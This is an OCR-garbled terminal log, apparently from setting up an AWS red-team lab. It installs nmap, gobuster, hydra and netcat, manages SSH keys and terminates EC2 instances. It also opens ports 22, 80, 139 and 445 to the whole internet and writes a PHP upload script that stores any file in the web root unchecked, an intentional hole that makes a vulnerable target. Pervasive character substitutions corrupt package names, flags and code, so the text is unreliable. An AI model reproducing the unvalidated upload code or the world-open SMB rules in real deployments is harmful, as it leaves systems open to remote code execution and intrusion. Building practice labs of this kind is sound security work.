Get:20 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/multiverse amdé4 c-n-f Metadata [756 B]
Get:21 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/main amdé4 Packages [76.2 kB]

Get:22 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/main Translation-en [11.4 kB]

Get:23 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/main amdé4 c-n-f Metadata [412 B]
Get:24 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/restricted amdé4 c-n-f Metadata [116 B]
Get:25 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/universe amdé4 Packages [30.8 kB]
Get:26 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/universe Translation-en [16.9 kB]
Get:27 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/universe amdé4 c-n-f Metadata [676 B]
Get:28 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports/multiverse amdé4 c-n-f Metadata [116 B]

Get:29 http://security.ubuntu.com/ubuntu
Get:30 http://security.ubuntu.com/ubuntu
Get:31 http://security.ubuntu.com/ubuntu
Get:32 http://security.ubuntu.com/ubuntu
Get:33 http://security.ubuntu.com/ubuntu
Get:34 http://security.ubuntu.com/ubuntu
Get:35 http://security.ubuntu.com/ubuntu
Get:36 http://security.ubuntu.com/ubuntu
Get:37 http://security.ubuntu.com/ubuntu
Get:38 http://security.ubuntu.com/ubuntu
Fetched 47.2 MB in 7s (6387 kB/s)
Reading package lists... Done

Building dependency tree... Done
Reading state information... Done

1 package can be upgraded. Run 'apt list
Reading package lists... Done

Building dependency tree... Done
Reading state information... Done

jammy-security/main amdé4 Packages [3445 kB]
jammy-security/main Translation-en [485 kB]
jammy-security/restricted amdé4 Packages [6165 kB]
jammy-security/restricted Translation-en [1182 kB]
jammy-security/universe amdé4 Packages [1046 kB]
jammy-security/universe Translation-en [234 kB]
jammy-security/universe amdé4 c-n-f Metadata [23.2 kB]
jammy-security/multiverse amdé4 Packages [69.1 kB]
jammy-security/multiverse Translation-en [12.9 kB]
jammy-security/multiverse amdé4 c-n-f Metadata [544 B]

—upgradable’ to see it.

netcat-openbsd is already the newest version (1.218-4ubuntul).

netcat-openbsd set to manually installed.

The following additional packages will be installed:
build-essential bzip2 cpp cpp-11 dpkg-dev fakeroot firebird3.e-common firebird3.e-common-doc fontconfig-config fonts—dejavu-core g++ g++-11 gec gee-11 gec-11-base javascript-common libalgorithm-diff-perl
libalgorithm-diff-xs-perl libalgorithm-merge-perl libapri libaprutill libasané libatomicl libblas3 libbson-1.6-0 libc-dev-bin libc-devtools libcé-dev libcairo2 libcel-® libcrypt-dev libdeflated libdpkg-perl libexpati-dev
libfakeroot libfbclient2 libfile-fentllock-perl libfontconfigl libfreerdp2-2 libgcc-11-dev libgd3 libgompl libidni2 1ibis123 libitml libjbigs libjpeg-turbo8 libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore liblinears
liblsan@ liblua5.3-9 libmemcachedll libmongoc-1.8-8 libmongocrypt® libmpe3 libmysqlclient2l libnsl-dev libpixman-1-8 libpg5 libpython3-dev libpython3.16-dev libquadmathe libserf-1-1 libsnappylvs libstdc+—1l-dev libsvnl
1ibtiff5 libtirpc-dev libtommathl libtsan@ Libubsanl libutf8proc2 libwebp7 libwinpr2-2 libxchb-render® libxch-shm@ libxkbfilel libxpmé libxrenderl linux-libc-dev lto-disabled-list lua-lpeg make manpages-dev mysql-common
nmap-common python3-dev python3-wheel python3.10-dev rpcsvc-proto zliblg-dev

Suggested packages:
bzip2-doc cpp-doc gec-11-locales debian-keyring g++multilib g++11-multilib gec-11-doc gcc-multilib autoconf automake libtool flex bison gdb gce-doc gec-11-multilib hydra-gtk apache2 | lighttpd | httpd glibc-doc bzr
freerdp2-x11 libgd-tools liblinear-tools liblinear-dev libstdc++—11-doc make-doc ncat ndiff zenmap

The following NEW packages will be installed:
build-essential bzip2 cpp cpp-11 dpkg-dev fakeroot firebird3.e-common firebird3.e-common-doc fontconfig-config fonts—dejavu-core g++ g++-11 gec gee-11 goc-11-base gobuster hydra javascript-common libalgorithm-diff-perl
libalgorithm-diff-xs-perl libalgorithm-merge-perl libaprl libaprutill libasané libatomicl libblas3 libbson-1.6-8 libc-dev-bin libc-devtools libcé-dev libcairo2 libcel-® libcrypt-dev libdeflated libdpkg-perl libexpatl-dev
libfakeroot libfbclient2 libfile-fentllock-perl libfontconfigl libfreerdp2-2 libgce-11-dev libgd3 libgompl libidn12 1ibis123 libitml libjbigh libjpeg-turbo8 libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore liblinears
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nmap-common python3-dev python3-pip python3-wheel python3.10-dev rpcsvc-proto zliblg-dev
@ upgraded, 98 newly installed, @ to remove and 1 not upgraded.

Need to get 85.9 MB of archives.
After
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this operation, 295 MB of additional disk space will be used.
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jammy-updates/main amdé4 libc-dev-bin amdé4 2.35-@ubuntu3.l14 [20.3 kB]
jammy-updates/main amdé4 linux-libc-dev amdé4 5.15.0-187.197 [1361 kB]
jammy/main amdé4 libcrypt-dev amdé4 1:4.4.27-1 [112 kB]

jammy/main amdé4 rpcsvc-proto amdé4 1.4.2-Qubuntué [68.5 kB]
jammy-updates/main amdé4 libtirpc-dev amdé4 1.3.2-2ubuntu@.l [192 kB]
jammy/main amdé4 libnsl-dev amdé4 1.3.6-2build2 [71.3 kB]

jammy-updates/main amdé4 libcé-dev amdé4 2.35-8ubuntu3.l4 [2100 kB]
jammy-updates/main amdé4 gcc-11-base amdé4 11.4.8-lubuntul~22.04.3 [216 kB]
jammy/main amdé4 1ibis123 amdé4 @.24-2buildl [727 kB]

jammy/main amdé4 libmpc3 amdé4 1.2.1-2buildl [46.9 kBI

jammy-updates/main amdé4 cpp-11 amdé4 11.4.0-lubuntul~22.04.3 [10.0 MB]
jammy/main amdé4 cpp amdé4 4:11.2.0-1ubuntul [27.7 kBI

jammy-updates/main amd64 libccl-@ amdé4 12.3.0-lubuntul~22.04.3 [48.3 kBI
jammy-updates/main amdé4 libgompl amdé4 12.3.0-lubuntul~22.04.3 [127 kB]
jammy-updates/main amdé4 1libitml amdé4 12.3.0-lubuntul~22.04.3 [30.2 kB]
jammy-updates/main amdé4 libatomicl amdé4 12.3.8-lubuntul~22.04.3 [10.5 kB]
jammy-updates/main amdé4 libasané amdé4 11.4.0-lubuntul~22.04.3 [2283 kB]
jammy-updates/main amdé4 liblsan@ amdé4 12.3.0-1lubuntul~22.04.3 [1069 kB]
jammy-updates/main amdé4 libtsan@ amdé4 11.4.0-lubuntul~22.04.3 [2260 kB]
jammy-updates/main amdé4 libubsanl amdé4 12.3.8-lubuntul~22.04.3 [976 kB]
jammy-updates/main amdé4 libquadmath® amdé4 12.3.0-1ubuntul~22.04.3 [154 kB]
jammy-updates/main amdé4 libgcc-11-dev amdé4 11.4.0-1lubuntul~22.04.3 [2517 kB]
jammy-updates/main amdé64 gcc-11 amdé4 11.4.@-lubuntul~22.04.3 [20.1 MB]
jammy/main amdé4 gcc amdé4 4:11.2.0-1ubuntul [5112 B]

jammy-updates/main amdé4 libstdc++-11-dev amdé4 11.4.8-lubuntul~22.04.3 [2101 kBI]
jammy-updates/main amdé4 g++-11 amdé4 11.4.0-lubuntul~22.04.3 [11.4 MB]
jammy/main amdé4 g++ amdé4 4:11.2.0-1lubuntul [1412 B]

jammy/main amdé4 make amdé4 4.3-4.1buildl [180 kB]

jammy-updates/main amdé4 libdpkg-perl all 1.21.lubuntu2.6 [237 kB]
jammy/main amdé4 bzip2 amdé4 1.0.8-5buildl [34.8 kB]

jammy/main amdé4 lto-disabled-list all 24 [12.5 kB]

jammy-updates/main amdé4 dpkg-dev all 1.21.1ubuntu2.6 [922 kB]

jammy/main amdé4 build-essential amdé4 12.9ubuntu3 [4744 B]

jammy/main amdé4 libfakeroot amdé4 1.28-1ubuntul [31.5 kB]

jammy/main amdé4 fakeroot amdé4 1.28-1lubuntul [60.4 kB]

jammy/universe amdé4 firebird3.@-common-doc all 3.0.8.33535.ds4-1lubuntu2 [26.8 kB]
jammy/universe amdé4 firebird3.@-common all 3.0.8.33535.ds4-1lubuntu2 [15.5 kB]
jammy/main amdé4 fonts-dejavu-core all 2.37-2buildl [1041 kB]

jammy/main amdé4 fontconfig-config all 2.13.1-4.2ubuntu5 [29.1 kB]
jammy/universe amdé4 gobuster amdé4 2.8.1-1build2 [1609 kB]

jammy/main amdé4 javascript-common all 11+nmul [5936 B]

jammy/main amdé4 libalgorithm-diff-perl all 1.201-1 [41.8 kB]

jammy/main amdé4 libalgorithm-diff-xs—perl amdé4 @.04-6build3 [11.9 kB]
jammy/main amdé4 libalgorithm-merge-perl all 0.08-3 [12.0 kB]
jammy-updates/main amdé4 libaprl amdé4 1.7.0-8ubuntu@.22.04.2 [108 kB]
jammy-updates/main amdé4 libaprutill amdé4 1.6.1-5ubuntu4.22.04.2 [92.8 kB]
jammy/main amdé4 libblas3 amdé4 3.10.0-2ubuntul [228 kBI

jammy/universe amdé4 libbson-1.0-0 amdé4 1.21.6-1buildl [83.7 kB]

jammy/main amdé4 libfontconfigl amdé4 2.13.1-4.2ubuntu5 [131 kB]

jammy/main amdé4 libjpeg-turbo8 amdé4 2.1.2-@ubuntul [134 kB]

jammy/main amdé4 1libjpeg8 amdé4 8c—2ubuntul® [2264 B]

jammy/main amdé4 libdeflate@ amdé4 1.16-2 [70.9 kB]

jammy-updates/main amdé4 1ibjbig@ amdé4 2.1-3.1lubuntu@.22.04.1 [29.2 kB]
jammy-updates/main amdé4 libwebp7 amdé4 1.2.2-2ubuntu®.22.04.2 [206 kB]
jammy-updates/main amdé4 1ibtiff5 amdé4 4.3.0-6ubuntu@.13 [185 kB]
jammy-updates/main amdé4 libxpmé4 amdé4 1:3.5.12-1ubuntu@.22.04.3 [36.5 kB]
jammy-updates/main amdé4 1ibgd3 amdé4 2.3.0-2ubuntu2.3 [129 kB]
jammy-updates/main amdé4 libc-devtools amdé4 2.35-@ubuntu3.14 [29.0 kB]
jammy-updates/main amd64 libpixman-1-@ amdé4 ©.4@.0-lubuntu@.22.04.1 [264 kBI
jammy/main amdé4 libxcb-render® amdé4 1.14-3ubuntu3 [16.4 kB]
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Get:62 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libxrenderl amdé4 1:8.9.10-1build4 [19.7 kB]

Get:63 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libcairo2 amdé4 1.16.0-5ubuntu2.1 [628 kB]

Get:64 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libexpatl-dev amdé4 2.4.7-1ubuntu@.7 [148 kB]

Get:65 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 libtommathl amdé4 1.2.0-6ubuntu@.22.84.1 [56.5 kBI
Get:66 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 libfbclient2 amdé4 3.0.8.33535.ds4—1ubuntu2 [512 kB]
Get:67 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libfile-fcntllock-perl amdé4 ©.22-3build7 [33.9 kBl

Get:68 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 libwinpr2-2 amdé4 2.6.1+dfsgl-3ubuntu2.11 [355 kB]
Get:69 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libxkbfilel amdé4 1:1.1.0-1build3 [71.8 kBI

Get:70 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libfreerdp2-2 amdé4 2.6.1+dfsgl-3ubuntu2.11 [565 kB]
Get:71 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libidn12 amdé4 1.38-4ubuntul.l [60.5 kBI

Get:72 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libjs—jquery all 3.6.0+dfsg+~3.5.13-1 [321 kB]

Get:73 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libjs-underscore all 1.13.2~dfsg-2 [118 kB]

Get:74 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libjs-sphinxdoc all 4.3.2-1 [139 kB]

Get:75 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 liblinear4 amdé4 2.3.@+dfsg-5 [41.4 kBI

Get:76 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 liblua5.3-@ amdé4 5.3.6-1buildl [140 kB]

Get:77 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libmemcached1l amdé4 1.0.18-4.2ubuntu4 [88.2 kBl

Get:78 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 libmongocrypt® amdé4 1.3.0-lubuntul [93.9 kB]

Get:79 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libsnappylv5 amd64 1.1.8-1build3 [17.5 kB]

Get:80 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 libmongoc-1.0-@ amdé4 1.21.0-1buildl [311 kB]

Get:81 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 mysql-common all 5.8+1.0.8 [7212 B]

Get:82 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 libmysqglclient21l amdé4 8.0.46-@ubuntu@.22.04.3 [1336 kB]
Get:83 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 1ibpg5 amdé4 14.23-@ubuntu@.22.04.1 [153 kB]

Get:84 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé64 zliblg-dev amdé4 1:1.2.11.dfsg-2ubuntu9.2 [164 kB]
Get:85 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé64 libpython3.10-dev amdé4 3.10.12-1~22.04.16 [4766 kB]
Get:86 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libpython3-dev amdé4 3.10.6-1~22.04.1 [7064 B]
Get:87 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 libserf-1-1 amdé4 1.3.9-1@ubuntu2 [50.0 kB]

Get:88 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 libutf8proc2 amdé4 2.7.0-3 [73.9 kBl

Get:89 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 libsvnl amdé4 1.14.1-3ubuntu@.22.04.1 [1387 kB]
Get:90 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 lua-lpeg amdé4 1.8.2-1 [31.4 kB]

Get:91 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 manpages-dev all 5.10-lubuntul [2309 kBI

Get:92 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 nmap-common all 7.91+dfsgl+really7.80+dfsgl-2ubuntu@.1 [3940 kB]
Get:93 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 python3.10-dev amdé4 3.10.12-1~22.04.16 [508 kB]
Get:94 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 python3-dev amdé4 3.10.6-1~22.04.1 [26.0 kB]

Get:95 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 python3-wheel all @.37.1-2ubuntu@.22.04.1 [32.0 kB]
Get:96 /us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 python3-pip all 22.0.2+dfsg-lubuntu@.7 [1306 kB]
Get:97 /us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/universe amdé4 hydra amdé4 9.2-1lubuntul [266 kBI

Get:98 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amdé4 nmap amdé4 7.91+dfsgl+really7.80+dfsgl-2ubuntu@.1 [1731 kB]
Fetched 85.9 MB in 1s (64.0 MB/s)

Extracting templates from packages: 100%

Selecting previously unselected package libc-dev-bin.

(Reading database ... 66021 files and directories currently installed.)
Preparing to unpack .../@@-libc-dev-bin_2.35-@ubuntu3.14_amdé4.deb ...
Unpacking libc-dev-bin (2.35-@ubuntu3.14) ...

Selecting previously unselected package linux-libc-dev:amdé4.

Preparing to unpack .../@1-linux-libc-dev_5.15.0-187.197_amdé4.deb ...
Unpacking linux-libc-dev:amdé4 (5.15.0-187.197) ...

Selecting previously unselected package libcrypt—dev:amdés.

Preparing to unpack .../@2-libcrypt-dev_1%3a4.4.27-1_amdé4.deb ...
Unpacking libcrypt-dev:amdé4 (1:4.4.27-1) ...

Selecting previously unselected package rpcsvc-proto.

Preparing to unpack .../@3-rpcsvc-proto_1.4.2-0ubuntué_amdé4.deb ...
Unpacking rpcsvc-proto (1.4.2-@ubuntué) ...

Selecting previously unselected package libtirpc-dev:amdés.

Preparing to unpack .../@4-libtirpc-dev_1.3.2-2ubuntu@.1_amdé4.deb ...
Unpacking libtirpc-dev:amdé4 (1.3.2-2ubuntu@.1) ...

Selecting previously unselected package libnsl-dev:amdéé4.

Preparing to unpack .../@5-1libnsl-dev_1.3.0-2build2_amdé4.deb ...
Unpacking libnsl-dev:amdé4 (1.3.6-2build2) ...

Selecting previously unselected package libcé-dev:amdés.

Preparing to unpack .../@6-1libcé-dev_2.35-Qubuntu3.14_amdé4.deb ...
Unpacking libcé-dev:amdé4 (2.35-@ubuntu3.14) ...

Selecting previously unselected package gcc-1l-base:amdéé4.

Preparing to unpack .../@7-gcc-11-base_11.4.0-1lubuntul~22.04.3_amdé4.deb ...
Unpacking gcc-11-base:amdé4 (11.4.0-lubuntul~22.04.3) ...
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previously unselected package libcé-dev:amdés.

to unpack .../@6-libcé-dev_2.35-@ubuntu3.l4_amdés.deb ...
libcé—dev:amdé4 (2.35-Qubuntu3.14) ...

previously unselected package gcc-11-base:amdéé.

to unpack .../@7-gcc-11-base_11.4.0-1ubuntul~22.04.3_amdé4.deb ...
gcc-11-base:amdé4 (11.4.0-lubuntul~22.04.3) ...

previously unselected package libisl23:amdéé4.

to unpack .../@8-1ibis123_0.24—2buildl_amdé4.deb ...
libis123:amd64 (0.24—2buildl) ...

previously unselected package libmpc3:amdéé4.

to unpack .../@09-libmpc3_1.2.1-2buildl_amdé4.deb ...
libmpc3:amdé4 (1.2.1-2buildl) ...

previously unselected package cpp-11.

to unpack .../10-cpp-11_11.4.0-1ubuntul~22.04.3_amdé4.deb ...
cpp-11 (11.4.0-1lubuntul~22.04.3) ...

previously unselected package cpp.

to unpack .../11-cpp_4%3all.2.0-1ubuntul_amdé4.deb ...

cpp (4:11.2.0-1ubuntul) ...

previously unselected package libccl-0:amdéé4.

to unpack .../12-1libcc1-0_12.3.0-1lubuntul~22.04.3_amdé4.deb ...
libccl-0:amdé4 (12.3.0-1lubuntul~22.04.3) ...

previously unselected package libgompl:amdéé4.

to unpack .../13-libgompl_12.3.8-1lubuntul~22.04.3_amdé4.deb ...
libgompl:amdé4 (12.3.@-1lubuntul~22.04.3) ...

previously unselected package libitml:amdéé4.

to unpack .../14-1libitml_12.3.8-1lubuntul~22.04.3_amdé4.deb ...
libitml:amdé4 (12.3.8-1lubuntul~22.04.3) ...

previously unselected package libatomicl:amdé4.

to unpack .../15-1libatomicl_12.3.0-1ubuntul~22.04.3_amdé4.deb ...
libatomicl:amdé4 (12.3.0-1ubuntul~22.04.3) ...

previously unselected package libasané:amdéé4.

to unpack .../16-libasané_11.4.8-1lubuntul~22.04.3_amdé4.deb ...
libasané:amd64 (11.4.0-1ubuntul~22.04.3) ...

previously unselected package liblsan@:amdéé4.

to unpack .../17-1liblsan@_12.3.8-1lubuntul~22.04.3_amdé4.deb ...
liblsan@:amdé4 (12.3.@-1lubuntul~22.04.3) ...

previously unselected package libtsan@:amdéé4.

to unpack .../18-1libtsan@_11.4.8-1lubuntul~22.04.3_amdé4.deb ...
libtsan@:amd64 (11.4.0-1ubuntul~22.04.3) ...

previously unselected package libubsanl:amdé4.

to unpack .../19-libubsanl_12.3.0-1ubuntul~22.04.3_amdé4.deb ...
libubsanl:amdé4 (12.3.0-1lubuntul~22.04.3) ...

previously unselected package libquadmath@:amdés.

to unpack .../20-libquadmath@_12.3.0-1ubuntul~22.04.3_amdé4.deb ...
libquadmath@:amdé4 (12.3.0-lubuntul~22.04.3) ...

previously unselected package libgcc-11-dev:amdés.

to unpack .../21-libgcc-11-dev_11.4.0-1ubuntul~22.04.3_amdé4.deb ...
libgcc—11-dev:amdé4 (11.4.0-1ubuntul~22.04.3) ...

previously unselected package gcc-11.

to unpack .../22-gcc-11_11.4.0-1ubuntul~22.04.3_amdé4.deb ...
gcc-11 (11.4.0-1ubuntul~22.04.3) ...

previously unselected package gcc.

to unpack .../23-gcc_4%3all.2.0-1ubuntul_amdé4.deb ...

gce (4:11.2.0-1ubuntul) ...

previously unselected package libstdc++—11-dev:amdé4.

to unpack .../24-libstdc++-11-dev_11.4.0-1ubuntul~22.04.3_amdé4.deb ...

libstdc++-11-dev:amdé4 (11.4.0-1ubuntul~22.04.3) ...
previously unselected package g++-11.

to unpack .../25-g++-11_11.4.0-1ubuntul~22.04.3_amdé4.deb ...
g++-11 (11.4.0-1lubuntul~22.04.3) ...

previously unselected package g++.

to unpack .../26-g++_4%3all.2.0-1ubuntul_amdé4.deb ...

g++ (4:11.2.0-1ubuntul) ...

previously unselected package make.
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ubuntu@ip-172-31-20-183:~% ssh -1 redteam—key.pem ubuntu@18.215.167.112

Warning: Identity file redteam-key.pem not accessible: No such file or directory.

AC

ubuntu@ip-172-31-20-183:~$ find ~ -name "redteam-key.pem" 2>/dev/null

ubuntu@ip-172-31-20-183:~$ ssh —i /Users/yourname/redteam-key.pem ubuntu@18.215.167.112

Warning: Identity file /Users/yourname/redteam—key.pem not accessible: No such file or directory.
find ~ -name "redteam-key.pem" 2>/dev/null

2C]

ubuntu@ip-172-31-20-183:~$ find ~ —name "redteam-key.pem" 2>/dev/null

ubuntu@ip-172-31-20-183:~$ find / -iname "redteam-keyx" 2>/dev/null

ubuntu@ip-172-31-20-183:~$ cd ~

aws ec2 create-key-pair ——key-name redteam-key2 —--query 'KeyMaterial' ——output text > redteam-key2.pem
chmod 400 redteam-key2.pem

1s -la redteam-key2.pem

Command 'aws' not found, but can be installed with:

sudo snap install aws-cli # version 1.45.46, or

sudo apt install awscli # version 1.22.34-1

See 'snap info aws-cli' for additional versions.

——— —— 1 ubuntu ubuntu @ Aug 8 03:28 redteam-key2.pem
[ubuntu@Pip-172-31-20-183:~$ exit
logout

Connection to 54.234.112.222 closed.
operator@CABCD-LAB:~ % cd ~
aws ec2 create-key-pair ——key-name redteam-key2 --query 'KeyMaterial' ——output text > redteam-key2.pem
chmod 400 redteam-key2.pem
[1s -la redteam—key2.pem
- —— 1 srita staff 1679 8 Aug 08:58 redteam-key2.pem
[operator@ABCD-LAB:~ % aws ec2 describe-instances ——query 'Reservations[x].Instances[*].Instanceld' ——output text
1-086d7ebde@2942ces
i-0e9c3eb543774e961
1-093925a51061398b4
i-@ec8f2ad5a2552 44
[operator@ABCD-LAB:~ % aws ec2 terminate-instances ——-instance-ids i-@86d7ebde@2942ce4 i-@e9c3eb543774e961 1-093925a51067398b4 i-@ec8f2ad5a2552f44
{
"TerminatingInstances": [
{
"Instanceld": "i-@ec8f2ad5a2552f44",
"CurrentState": {
"Code": 32,
“"Name": "shutting-down"
},
"PreviousState": {
“Code": 16,
"Name": "running"

"Instanceld": "i-@e9c3eb543774e961"
"CurrentState": {
"Code": 32,
"Name": "shutting-down"
},
"PreviousState": {
"Code": 16,
“"Name": "running"

"InstanceId": "i-093925a5106f398b4",
"CurrentState": {
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"StateReason": {
"Code": "pending",
"Message": "pending"

+
"VirtualizationType": "hvm",
[operator@ABCD-LAB:~ % aws ec2 describe-instances ——query 'Reservations[*].Instances[*].[Instanceld,PublicIpAddress,State.Name]' ——output table

| DescribeInstances

i-086d7ebde02942ce4| 54.234.112.222 shutting-down

1-00290a8e1e43a2686| 54.160.129.195 running
i-@cd54a7ad8ce04a99| 3.80.57.237 running
i-Be9c3eb543774e961| None terminated

| | |
| | |
| | |
| | |
| 1-893925a51061398b4| None | terminated

| | |
| | |
| | |

i-@ad5d3c91d3a2fdfe| 98.81.83.126 running
i-@ec8f2ad5a2552f44| None terminated
i-0424c6adabks32a73c| 100.62.105.207 running

[operator@ABCD-LAB:~ % ssh —i redteam—key2.pem ubuntu@54.160.129.195

The authenticity of host '54.160.129.195 (54.160.129.195)' can't be established.
ED25519 key fingerprint is: SHA256:NC/OriW@ujnpkwX1pRnBzLsSwbl4IlqusrlZjoYRHxM
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint]l)? yes
Warning: Permanently added '54.160.129.195' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:31:02 UTC 2026

System load: 0.25 Processes: 113
Usage of /: 22.9% of 7.576B Users logged in: ]
Memory usage: 25% IPv4 address for ens5: 172.31.19.221

Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
@ updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[ubuntu@ip-172-31-19-221:~$ sudo apt update & sudo apt install -y nmap gobuster hydra netcat-openbsd python3-pip
Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease

Get:2 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease [128 kB]

Get:3 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease [127 kB]

Get:4 http://security.ubuntu.com/ubuntu jammy-security InRelease [129 kB]
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ec2 authorize-security-group-ingress ——group-name RedTeamLab ——protocol tcp —--port 22 —-cidr 0.0.0.0/0
ec2 authorize-security-group—ingress ——group-name RedTeamLab ——protocol tcp ——port 445 ——cidr ©.0.0.0/0
ec2 authorize-security-group—ingress ——group-name RedTeamLab ——protocol tcp ——port 139 —-cidr ©.0.0.0/0

"Return": true,

"SecurityGroupRules": [

{

"SecurityGroupRuleId": "sgr-@8c7bbf328e3fllad",

"GroupId": "sg-089e78fbba9el8l0c",

"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "tcp",

"FromPort": 80,

"ToPort": 80,

"CidrIpv4": "0.0.0.0/0",

"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr-08c7bbf328e3f11ad"

"Return": true,
"SecurityGroupRules": [

{

"SecurityGroupRuleId": "sgr-0853albddadf5b887",

"GroupId": "sg-089e78fbba9el8l0c",

"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "tcp",

"FromPort": 22,

"ToPort": 22,

"CidrIpv4": "0.0.0.0/0",

"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr-0853albddadf5b887"

"Return": true,
"SecurityGroupRules": [

{

"SecurityGroupRuleId": "sgr-013fleé67cbaff8ds",

"GroupId": "sg-089e78fbba9el8l0c",

"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "tcp",

"FromPort": 445,

"ToPort": 445,

"CidrIpv4": "0.0.0.0/0",

"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr-013fleéé67cbaff8ds"

"Return": true,
"SecurityGroupRules": [

{

"SecurityGroupRuleId": "sgr-087e91c76368delée",

"GroupId": "sg-089e78fbba9el8l0c",

"GroupOwnerId": "@69176179640",

"IsEgress": false,

"IpProtocol": "tcp",

"FromPort": 139,

"ToPort": 139,

"CidrIpv4": "0.0.0.0/0",

"SecurityGroupRuleArn": "arn:aws:ec2:us-east-1:069176179640:security—group-rule/sgr-087e91c76368delée"
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* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:32:14 UTC 2026

System load: 0.02 Processes: 112
Usage of /: 22.9% of 7.57GB Users logged in: (2]
Memory usage: 25% IPv4 address for ens5: 172.31.21.83

Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
@ updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@ip-172-31-21-83:~$ sudo apt update

sudo apt install -y apache2 php php-cli libapache2-mod-php
sudo systemctl enable apache2

sudo systemctl start apache2

sudo tee /var/www/html/upload.php > /dev/null << 'EOF'

<?php

if(isset($_FILES['file'l)) {
$target = "/var/www/html/uploads/" . basename($_FILES['file']['name'l]);
move_uploaded_file($_FILES['file']['tmp_name'], $target);
echo "Uploaded to: $target";

}

?>

<form method="post" enctype="multipart/form-data">

<input type="file" name="file">

<input type="submit">

</form>

EOF

